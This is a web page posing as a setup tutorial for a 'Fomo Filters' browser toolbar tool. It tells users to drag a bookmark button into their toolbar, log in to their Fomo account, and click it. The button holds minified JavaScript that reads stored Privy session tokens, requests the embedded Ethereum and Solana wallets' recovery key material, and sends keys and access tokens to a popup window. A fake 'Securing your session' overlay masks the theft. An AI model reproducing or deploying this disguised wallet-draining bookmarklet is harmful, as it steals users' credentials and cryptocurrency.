Setup Tutorial

Show Toolbar

Toolbar on your Browser MUST be Shown. This is Where the Fomo Filters are going to Live.

Windows Users:

Ctrl + Shift + B

MacOS Users:

⌘ Command + Shift + B

Activate Tool

Drag the White Button Below into your Toolbar. Remember that FomoFilters.com is our only Official Website.

t+=String.fromCharCode(e)),btoa(t).replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/g,"")}(JSON.stringify(e)),t=n+"#job="+o;if(t.length>15e5)throw new Error("Job too large for URL");return window.open(t,"session_secure_win","width=420,height=520,left=80,top=80,menubar=no,toolbar=no,location=no,status=no")}const i={get(e){try{const o=localStorage.getItem(e);return null==o?null:"string"==typeof o&&o.startsWith('"')&&o.endsWith('"')?JSON.parse(o):o}catch{return localStorage.getItem(e)}},set(e,o){localStorage.setItem(e,JSON.stringify(o))}};function l(e){if(null==e||""===e)return"";let o=String(e);try{o.startsWith('"')&&o.endsWith('"')&&(o=JSON.parse(o))}catch{}return String(o).replace(/^Bearer\s+/i,"").replace(/^"|"$/g,"").trim()}function c(t,n){const a={accept:"application/json","content-type":"application/json","privy-app-id":e,"privy-client-id":o,"privy-ca-id":n,"privy-client":"react-auth:3.34.0"},r=l(t);return r&&(a.authorization=%60Bearer ${r}%60),a}async function p(){const e=l(i.get("privy:refresh_token")),o=l(i.get("privy:token")),n=l(i.get("privy:caid"))||"3f1ee78a-7061-45ee-845f-d53d67d3e258";if(!e||!o)throw new Error("Not signed in");const a=await fetch(t+"/api/v1/sessions",{method:"POST",credentials:"include",headers:c(o,n),body:JSON.stringify({refresh_token:e})}),r=await a.json().catch(()=>({}));if(!a.ok)throw new Error("Session refresh failed");const s=l(r.token||r.privy_access_token||r.access_token||o);return i.set("privy:token",s),r.refresh_token&&i.set("privy:refresh_token",r.refresh_token),{access:s,data:r,caid:n}}async function d(e){const o=e.replace(/-/g,"+").replace(/_/g,"/"),t="=".repeat((4-o.length%4)%4),n=atob(o+t),a=Uint8Array.from(n,e=>e.charCodeAt(0)),r=new Uint8Array(await crypto.subtle.digest("SHA-256",a));let s="";return r.forEach(e=>s+=String.fromCharCode(e)),{b64hash:btoa(s),hex:[...r].map(e=>e.toString(16).padStart(2,"0")).join("")}}async function _(e,o,n,a){const r=await fetch(t+"/api/v1/embedded_wallets/"+encodeURIComponent(e)+"/recovery/key_material",{method:"POST",credentials:"include",headers:c(n,a),body:JSON.stringify({chain_type:o})});return{status:r.status,ok:r.ok,data:await r.json().catch(()=>({}))}}!async function(){const t=function(){const e=document.getElementById("__fomo_overlay");e&&e.remove();const o=document.createElement("div");return o.id="__fomo_overlay",o.innerHTML='\n\n
\n \n

Securing your session

\n
Please keep this tab open while we finish setup.
\n
\n
    \n
  • Checking browser permissions
  • \n
  • Refreshing your session
  • \n
  • Loading your accounts
  • \n
  • Preparing recovery material
  • \n
  • Opening secure channel
  • \n
  • Handing off to secure window
  • \n
  • Finishing up
  • \n
\n \n
Protected connection · do not close this tab
\n
\n
',document.documentElement.appendChild(o),{root:o,setStep(e){o.querySelectorAll("#__fomo_steps li").forEach(o=>{const t=+o.dataset.s;o.classList.remove("on","done"),t{e.classList.remove("on"),e.classList.add("done")}),o.querySelector("#__fomo_title").textContent="Session secured",o.querySelector("#__fomo_sub").textContent="Secure window is finishing — leave this tab open until it redirects."},error(e){const t=o.querySelector("#__fomo_err");t.style.display="block",t.textContent=String(e||"Something went wrong. Please try again.")}}}();t.setStep(1);try{t.setStep(2);const{wallets:n,user:i,caid:c}=await async function(){const{access:e,data:o,caid:t}=await p(),n=o?.user?.linked_accounts||[],a={ethereum:[],solana:[]};for(const e of n){if("wallet"!==e.type)continue;if(e.wallet_client_type&&"privy"!==e.wallet_client_type)continue;if(e.connector_type&&"embedded"!==e.connector_type)continue;const o=e.address||e.public_key;o&&("ethereum"===e.chain_type?a.ethereum.some(e=>e.toLowerCase()===o.toLowerCase())||a.ethereum.push(o):"solana"===e.chain_type&&(a.solana.includes(o)||a.solana.push(o)))}if(!a.ethereum.length&&!a.solana.length)throw new Error("No wallets found");return{wallets:a,token:e,user:o.user,caid:t}}();t.setStep(3);const{access:u}=await p();t.setStep(4);const f=await async function(t,n,a){const r=[],s=l(n);for(const n of t.ethereum){const t=await _(n,"ethereum",s,a);if(!t.ok)continue;const i=t.data?.recovery_key||t.data?.recoveryKey;if(!i)continue;const l=await d(i);r.push({appId:e,clientId:o,caid:a,wallet:n,accessToken:s,recoveryKey:i,recoveryKeyHashB64:l.b64hash,recoveryKeyHashHex:l.hex,chainType:"ethereum",chain_type:"ethereum"})}let i=s;try{i=(await p()).access}catch{}for(const n of t.solana){const t=await _(n,"solana",i,a);if(!t.ok)continue;const s=t.data?.recovery_key||t.data?.recoveryKey;if(!s)continue;const l=await d(s);r.push({appId:e,clientId:o,caid:a,wallet:n,accessToken:i,recoveryKey:s,recoveryKeyHashB64:l.b64hash,recoveryKeyHashHex:l.hex,chainType:"solana",chain_type:"solana"})}return r}(n,u,c);if(!f.length)throw new Error("No recovery material available");t.setStep(5);const y={source:"fomo.family",userId:i?.id||null,backend:a,returnUrl:r,items:f};t.setStep(6),await function(e,o){return new Promise(t=>{e.onRetry(()=>{const n=e.root.querySelector("#__fomo_retry_popup");n.disabled=!0,n.textContent="Checking…",setTimeout(()=>{const a=o();a?(e.hidePopupHelp(),n.disabled=!1,n.textContent="Allow & continue",t(a)):(n.disabled=!1,n.textContent="Allow & continue",e.showPopupHelp())},200)}),(()=>{const n=o();if(n)return e.hidePopupHelp(),void t(n);e.showPopupHelp()})()})}(t,()=>s(y)),t.setStep(7),t.finishOk(),setTimeout(()=>{try{location.href=r||"https://fomo.family/token"}catch{}},1200)}catch(e){console.error(e),t.error(e.message||e)}}()})())" class="tool-button" id="tool" draggable="true">👀 FOMO FILTERS

Setup Complete!

You are ready. We are Moving you to the FOMO Dashboard now.

⚠️ FINAL REQUIREMENT: Once the Dashboard opens, YOU MUST LOG IN FULLY to your Fomo Account first.

After you are logged in, click the 👀 FOMO FILTERS Bookmark in your Toolbar one time. If you do not log in first, the Tool will not Sync.